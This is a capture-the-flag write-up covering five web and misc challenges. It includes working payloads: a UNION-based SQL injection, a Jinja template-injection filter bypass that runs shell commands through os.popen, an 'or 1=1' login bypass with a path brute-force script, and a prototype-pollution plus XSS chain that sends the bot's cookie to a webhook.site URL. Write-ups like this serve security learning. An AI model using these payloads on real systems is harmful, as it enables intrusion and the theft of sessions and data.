web/too-many-admins

image

This chall gives me a source. When read index.php i saw this line:

if($userParam){
    if($userParam !=  "all"){
    $query = "SELECT username, password, bio FROM users where username = '$userParam' ";
    }else{
    $query = "SELECT username, password, bio FROM users ";

    }
    $result = $conn->query($query);

So it is simple SQL Injection and the flag is hide in the random admin’s bio.

CREATE PROCEDURE GenerateRandomUsers()
BEGIN
    DECLARE i INT DEFAULT 0;
    WHILE i < 500 DO
        IF i = {SOME_NUMBER} THEN
            INSERT INTO users (username, password, bio)
            VALUES (
                CONCAT('admin', i),
                'REDACTED',
                'Flag{REDACTED}'
            );
        ELSE
            INSERT INTO users (username, password, bio)
            VALUES (
                CONCAT('admin', i),
                MD5(CONCAT('admin',i,RAND())),
                CONCAT('Bio for admin', i)
            );
        END IF;
        SET i = i + 1;
    END WHILE;
END //
DELIMITER ;

Final payload: http://34.132.132.69:8000/?user=admin0' UNION SELECT username, bio, password FROM users where INSTR(bio,'flag{')-- - image Flag: flag{1m40_php_15_84d_47_d1ff323n71471n9_7yp35}

web/Unintelligible-Chatbot

image

This web gives me a chatbox with bot and then show the result to user. image When i saw that. i think about SSTI (Server-side template injection). So i try {{7*7}} first. image Bingo. But this chall has filter some characters so i need to bypass filter to get the flag. You can refer how to bypass the filter from the documentation at this link. Idea to bypass that you change the blacklist word into hex and use attr to bypass dot. Final payload: {{"foo"|attr('\137\137\143\154\141\163\163\137\137')|attr('\137\137\142\141\163\145\137\137') |attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(352)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137') |attr('\137\137\147\145\164\151\164\145\155\137\137')("os")|attr('popen')('cat flag')|attr('read')()}} image Flag: flag{n07_4n07h3r_5571_ch4ll3n63}

web/space-war

image

The challenge gives me a description with these letters are written in uppercase so i think the username is in the path of server. And we need to brute a little bit. Simple script to get the username:

import requests
import string

username = ""
while True:
    for char in (string.ascii_letters + string.digits):
        url = f"http://34.132.132.69:8005/{username+char}"
        res = requests.get(url=url)
        if "You are on a wrong path, This doesn't exist" not in res.text:
            username+=char
            print("[+] Founded a char: " + username)

image Then add a simple SQL injection to bypass. " or 1=1; -- - to get the flag. image

Flag: flag{1_kn0w_y0u_will_c0me_b4ck_S0M3DAY_0dsf513sg445s}

misc/halo-jack

image

This challenge takes me a lot of time (Guessy maybe). And then i think about brute force all the commands that can use in my shell. And then i saw that lssr and pr can be used here and here. After research i saw that lssr and pr is alternative ls command and cat command. image

Flag is in lovebirds.txt.

image Flag: flag{th3_4uth0rs_4r3_1n_l0v3_w1th34ch_0th3r}

web/armoured-notes

I think about XSS injection when this web gives me a bot to visit the url i give. So the idea is giving the url have xss to take the bot cookie (which is the flag). The first thing we need to bypass isAdmin.

Source code route report and posts:

app.post("/report", async (req, res, next) => {
    const { url } = req.body;
    if (!url) {
      return res.status(400).send({ msg: "Url is missing." });
    }
    if (!RegExp(urlRegex).test(url)) {
      return res
        .status(422)
        .send({ msg: "URL din't match this regex format " + bot.urlRegex });
    }
    if (await bot(url)) {
      return res.send({ msg: "Admin successfully visited the URL." });
    } else {
      return res.status(500).send({ msg: "Admin failed to visit the URL." });
    }
  });

  app.get("/posts/:id", async (req, res, next) => {
    try {
      const post = await diaryCollection.findOne({
        _id: new ObjectId(req.params.id),
      });
      if (!post) {
        return res.status(404).json({ code: "err" });
      }
      const url = req.originalUrl;

      let template;
      template = fs.readFileSync(resolve("views/post.html"), "utf-8");
      template = await vite.transformIndexHtml(url, template);
      const render = (await vite.ssrLoadModule("/utils/router.js")).render;

      const appHtml = await render(url, __dirname, req);

      const html = template.replace(`<!--app-html-->`, appHtml);

      res.status(200).set({ "Content-Type": "text/html" }).end(html);
    } catch (e) {
      res.status(500).end(e.stack);
    }
  });

After read a source a little bit a see this:

app.post("/create", async (req, res, next) => {
    let obj = duplicate(req.body);

    if (obj.uname === "admin" && obj.pass == process.env.PASSWORD) {
      obj.isAdmin = true;
    }
    if (obj.isAdmin) {
      const newEntry = req.body;

      try {
        const result = await diaryCollection.insertOne(newEntry);
        return res.json({ code: result.insertedId });
      } catch (err) {
        console.error("Failed to insert entry", err);
        return res.status(500).json({ code: "err" });
      }
    }
    return res.json({ code: "err" });
  });
  app.post("/save", async (req, res, next) => {
    let { id, message } = req.body;

    try {
      await diaryCollection.updateOne(
        { _id: new ObjectId(id) },
        { $set: { message: message } }
      );
      return res.json({ code: "success" });
    } catch (err) {
      console.error("Failed to update diary entry", err);
      return res.status(500).json({ code: "err" });
    }
  });

Let check how the duplicate function is defined.

export function duplicate(body) {
    let obj={}
    let keys = Object.keys(body);
    keys.forEach((key) => {
      if(key !== "isAdmin")
      obj[key]=body[key];
    })
    return obj;
  }

It takes an object (body) as an argument and returns a new object (obj) with the same properties as the input object, excluding the property with the key “isAdmin”. It uses the Object.keys method to iterate over the keys of the input object and creates a new object without including the “isAdmin” property. It looks like prototype pollution that we can inject isAdmin when post /create.

image

So i create a id that can give to bot url to visit. But how to take the admin cookie? After searching about vitejs xss injection i see this. The last thing to do is build a payload send to my server to get the flag. Final payload: http://34.132.132.69:8001/posts/658276ae99d634eec4c73710/?"></script><script>location='https://webhook.site/394f8039-82d9-432f-b9f0-b62b8cff5ce4/'+document.cookie</script>

image

Flag: flag{pR0707yP3_p0150n1n9_AND_v173j5_5ay_n01c3_99}